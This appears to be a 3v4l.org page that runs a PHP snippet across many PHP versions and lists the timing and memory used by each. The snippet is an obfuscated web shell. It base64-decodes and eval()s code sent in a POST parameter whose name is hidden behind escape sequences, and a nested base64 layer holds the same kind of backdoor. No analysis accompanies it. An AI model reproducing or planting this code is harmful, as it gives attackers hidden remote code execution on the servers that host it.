3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_= "aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\"; $__=\"JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\"; $___= \"\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65\"; eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"])); $code=base64_decode($_); echo ($code); $___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65"; echo($___($__)); echo($___($__)); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.310.0070.03812.50
5.4.300.0040.03812.50
5.4.290.0140.03312.49
5.4.280.0060.03512.39
5.4.270.0080.04312.39
5.4.260.0100.03812.39
5.4.250.0060.04012.39
5.4.240.0040.03712.39
5.4.230.0110.03212.39
5.4.220.0060.03612.39
5.4.210.0100.03212.38
5.4.200.0060.03712.38
5.4.190.0060.03812.38
5.4.180.0100.03212.38
5.4.170.0100.04112.39
5.4.160.0070.03512.39
5.4.150.0090.03712.38
5.4.140.0060.03812.07
5.4.130.0080.03812.05
5.4.120.0070.03712.02
5.4.110.0080.03512.02
5.4.100.0090.03412.01
5.4.90.0100.03512.01
5.4.80.0070.03812.02
5.4.70.0070.03812.01
5.4.60.0070.03412.01
5.4.50.0100.03112.01
5.4.40.0060.04112.00
5.4.30.0050.03712.00
5.4.20.0060.04611.99
5.4.10.0110.03512.00
5.4.00.0100.05511.48
5.3.280.0060.04312.71
5.3.270.0070.04412.72
5.3.260.0080.03912.72
5.3.250.0050.04112.72
5.3.240.0080.03712.72
5.3.230.0090.03612.70
5.3.220.0100.04312.68
5.3.210.0080.03812.68
5.3.200.0090.03412.68
5.3.190.0090.04112.67
5.3.180.0070.04512.68
5.3.170.0070.03812.67
5.3.160.0070.03612.67
5.3.150.0100.04112.67
5.3.140.0080.03512.66
5.3.130.0060.04312.65
5.3.120.0050.04412.66
5.3.110.0060.04012.66
5.3.100.0040.03912.12
5.3.90.0070.03812.08
5.3.80.0090.03512.08
5.3.70.0080.04012.07
5.3.60.0050.03712.07
5.3.50.0090.04212.00
5.3.40.0070.03512.00
5.3.30.0100.04011.95
5.3.20.0050.03911.73
5.3.10.0070.03211.70
5.3.00.0050.03611.68
5.2.170.0030.0339.18
5.2.160.0060.0289.18
5.2.150.0070.0349.18
5.2.140.0010.0349.18
5.2.130.0080.0279.14
5.2.120.0030.0299.14
5.2.110.0060.0329.15
5.2.100.0060.0289.14
5.2.90.0070.0329.14
5.2.80.0040.0309.14
5.2.70.0030.0329.14
5.2.60.0070.0419.10
5.2.50.0030.0329.06
5.2.40.0020.0319.04
5.2.30.0030.0319.02
5.2.20.0060.0379.01
5.2.10.0080.0368.92
5.2.00.0050.0418.79
5.1.60.0030.0258.07
5.1.50.0030.0308.07
5.1.40.0040.0258.05
5.1.30.0050.0258.40
5.1.20.0030.0278.42
5.1.10.0080.0228.15
5.1.00.0060.0238.15
5.0.50.0050.0216.63
5.0.40.0030.0206.49
5.0.30.0060.0286.29
5.0.20.0040.0196.27
5.0.10.0060.0186.25
5.0.00.0030.0316.24
4.4.90.0010.0174.78
4.4.80.0040.0144.75
4.4.70.0040.0144.75
4.4.60.0030.0154.75
4.4.50.0040.0144.77
4.4.40.0020.0254.71
4.4.30.0040.0234.76
4.4.20.0030.0154.84
4.4.10.0030.0214.85
4.4.00.0040.0284.76
4.3.110.0020.0164.67
4.3.100.0020.0154.66
4.3.90.0040.0144.64
4.3.80.0030.0284.59
4.3.70.0050.0134.63
4.3.60.0030.0204.63
4.3.50.0040.0174.63
4.3.40.0030.0244.54
4.3.30.0030.0163.29
4.3.20.0010.0163.27
4.3.10.0040.0133.22
4.3.00.0000.0307.21

preferences:
133.13 ms | 1394 KiB | 7 Q